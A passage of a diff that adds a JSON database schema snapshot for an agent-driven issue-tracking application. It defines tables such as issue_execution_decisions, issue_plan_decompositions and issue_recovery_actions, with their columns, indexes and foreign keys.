+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_comments_deleted_by_agent_id_agents_id_fk": {
+          "name": "issue_comments_deleted_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "deleted_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_comments_deleted_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_comments_deleted_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "deleted_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_create_idempotency_keys": {
+      "name": "issue_create_idempotency_keys",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "idempotency_key": {
+          "name": "idempotency_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_create_idempotency_keys_company_key_uq": {
+          "name": "issue_create_idempotency_keys_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "idempotency_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_create_idempotency_keys_issue_idx": {
+          "name": "issue_create_idempotency_keys_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_create_idempotency_keys_company_created_at_idx": {
+          "name": "issue_create_idempotency_keys_company_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_create_idempotency_keys_company_id_companies_id_fk": {
+          "name": "issue_create_idempotency_keys_company_id_companies_id_fk",
+          "tableFrom": "issue_create_idempotency_keys",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_create_idempotency_keys_issue_id_issues_id_fk": {
+          "name": "issue_create_idempotency_keys_issue_id_issues_id_fk",
+          "tableFrom": "issue_create_idempotency_keys",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_documents": {
+      "name": "issue_documents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_documents_company_issue_key_uq": {
+          "name": "issue_documents_company_issue_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_documents_document_uq": {
+          "name": "issue_documents_document_uq",
+          "columns": [
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_documents_company_issue_updated_idx": {
+          "name": "issue_documents_company_issue_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_documents_company_id_companies_id_fk": {
+          "name": "issue_documents_company_id_companies_id_fk",
+          "tableFrom": "issue_documents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_documents_issue_id_issues_id_fk": {
+          "name": "issue_documents_issue_id_issues_id_fk",
+          "tableFrom": "issue_documents",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_documents_document_id_documents_id_fk": {
+          "name": "issue_documents_document_id_documents_id_fk",
+          "tableFrom": "issue_documents",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_execution_decisions": {
+      "name": "issue_execution_decisions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "stage_id": {
+          "name": "stage_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "stage_type": {
+          "name": "stage_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_agent_id": {
+          "name": "actor_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_user_id": {
+          "name": "actor_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "outcome": {
+          "name": "outcome",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_execution_decisions_company_issue_idx": {
+          "name": "issue_execution_decisions_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_execution_decisions_stage_idx": {
+          "name": "issue_execution_decisions_stage_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "stage_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_execution_decisions_company_id_companies_id_fk": {
+          "name": "issue_execution_decisions_company_id_companies_id_fk",
+          "tableFrom": "issue_execution_decisions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_execution_decisions_issue_id_issues_id_fk": {
+          "name": "issue_execution_decisions_issue_id_issues_id_fk",
+          "tableFrom": "issue_execution_decisions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_execution_decisions_actor_agent_id_agents_id_fk": {
+          "name": "issue_execution_decisions_actor_agent_id_agents_id_fk",
+          "tableFrom": "issue_execution_decisions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "actor_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_execution_decisions_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_execution_decisions_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_execution_decisions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_inbox_archives": {
+      "name": "issue_inbox_archives",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "archived_by_actor_type": {
+          "name": "archived_by_actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'user'"
+        },
+        "archived_by_agent_id": {
+          "name": "archived_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_by_run_id": {
+          "name": "archived_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_at": {
+          "name": "archived_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_inbox_archives_company_issue_idx": {
+          "name": "issue_inbox_archives_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_inbox_archives_company_user_idx": {
+          "name": "issue_inbox_archives_company_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_inbox_archives_company_issue_user_idx": {
+          "name": "issue_inbox_archives_company_issue_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_inbox_archives_company_id_companies_id_fk": {
+          "name": "issue_inbox_archives_company_id_companies_id_fk",
+          "tableFrom": "issue_inbox_archives",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_inbox_archives_issue_id_issues_id_fk": {
+          "name": "issue_inbox_archives_issue_id_issues_id_fk",
+          "tableFrom": "issue_inbox_archives",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_inbox_archives_archived_by_agent_id_agents_id_fk": {
+          "name": "issue_inbox_archives_archived_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_inbox_archives",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "archived_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_inbox_archives_archived_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_inbox_archives_archived_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_inbox_archives",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "archived_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "issue_inbox_archives_archived_by_actor_type_check": {
+          "name": "issue_inbox_archives_archived_by_actor_type_check",
+          "value": "\"issue_inbox_archives\".\"archived_by_actor_type\" in ('user', 'agent')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.issue_labels": {
+      "name": "issue_labels",
+      "schema": "",
+      "columns": {
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "label_id": {
+          "name": "label_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_labels_issue_idx": {
+          "name": "issue_labels_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_labels_label_idx": {
+          "name": "issue_labels_label_idx",
+          "columns": [
+            {
+              "expression": "label_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_labels_company_idx": {
+          "name": "issue_labels_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_labels_issue_id_issues_id_fk": {
+          "name": "issue_labels_issue_id_issues_id_fk",
+          "tableFrom": "issue_labels",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_labels_label_id_labels_id_fk": {
+          "name": "issue_labels_label_id_labels_id_fk",
+          "tableFrom": "issue_labels",
+          "tableTo": "labels",
+          "columnsFrom": [
+            "label_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_labels_company_id_companies_id_fk": {
+          "name": "issue_labels_company_id_companies_id_fk",
+          "tableFrom": "issue_labels",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {
+        "issue_labels_pk": {
+          "name": "issue_labels_pk",
+          "columns": [
+            "issue_id",
+            "label_id"
+          ]
+        }
+      },
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_plan_decompositions": {
+      "name": "issue_plan_decompositions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_issue_id": {
+          "name": "source_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "accepted_plan_revision_id": {
+          "name": "accepted_plan_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "accepted_interaction_id": {
+          "name": "accepted_interaction_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'in_flight'"
+        },
+        "request_fingerprint": {
+          "name": "request_fingerprint",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "requested_child_count": {
+          "name": "requested_child_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "requested_children": {
+          "name": "requested_children",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "child_issue_ids": {
+          "name": "child_issue_ids",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "owner_agent_id": {
+          "name": "owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_user_id": {
+          "name": "owner_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_run_id": {
+          "name": "owner_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "completed_at": {
+          "name": "completed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_plan_decompositions_company_source_status_idx": {
+          "name": "issue_plan_decompositions_company_source_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_plan_decompositions_active_owner_idx": {
+          "name": "issue_plan_decompositions_active_owner_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "owner_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "where": "\"issue_plan_decompositions\".\"status\" = 'in_flight'",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_plan_decompositions_source_revision_uq": {
+          "name": "issue_plan_decompositions_source_revision_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "accepted_plan_revision_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_plan_decompositions_company_id_companies_id_fk": {
+          "name": "issue_plan_decompositions_company_id_companies_id_fk",
+          "tableFrom": "issue_plan_decompositions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_plan_decompositions_source_issue_id_issues_id_fk": {
+          "name": "issue_plan_decompositions_source_issue_id_issues_id_fk",
+          "tableFrom": "issue_plan_decompositions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "source_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_plan_decompositions_accepted_plan_revision_id_document_revisions_id_fk": {
+          "name": "issue_plan_decompositions_accepted_plan_revision_id_document_revisions_id_fk",
+          "tableFrom": "issue_plan_decompositions",
+          "tableTo": "document_revisions",
+          "columnsFrom": [
+            "accepted_plan_revision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_plan_decompositions_accepted_interaction_id_issue_thread_interactions_id_fk": {
+          "name": "issue_plan_decompositions_accepted_interaction_id_issue_thread_interactions_id_fk",
+          "tableFrom": "issue_plan_decompositions",
+          "tableTo": "issue_thread_interactions",
+          "columnsFrom": [
+            "accepted_interaction_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_plan_decompositions_owner_agent_id_agents_id_fk": {
+          "name": "issue_plan_decompositions_owner_agent_id_agents_id_fk",
+          "tableFrom": "issue_plan_decompositions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_plan_decompositions_owner_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_plan_decompositions_owner_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_plan_decompositions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "owner_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_read_states": {
+      "name": "issue_read_states",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "last_read_at": {
+          "name": "last_read_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_read_states_company_issue_idx": {
+          "name": "issue_read_states_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_read_states_company_user_idx": {
+          "name": "issue_read_states_company_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_read_states_company_issue_user_idx": {
+          "name": "issue_read_states_company_issue_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_read_states_company_id_companies_id_fk": {
+          "name": "issue_read_states_company_id_companies_id_fk",
+          "tableFrom": "issue_read_states",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_read_states_issue_id_issues_id_fk": {
+          "name": "issue_read_states_issue_id_issues_id_fk",
+          "tableFrom": "issue_read_states",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_recovery_actions": {
+      "name": "issue_recovery_actions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_issue_id": {
+          "name": "source_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "recovery_issue_id": {
+          "name": "recovery_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "owner_type": {
+          "name": "owner_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'agent'"
+        },
+        "owner_agent_id": {
+          "name": "owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_user_id": {
+          "name": "owner_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "previous_owner_agent_id": {
+          "name": "previous_owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "return_owner_agent_id": {
+          "name": "return_owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cause": {
+          "name": "cause",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "fingerprint": {
+          "name": "fingerprint",
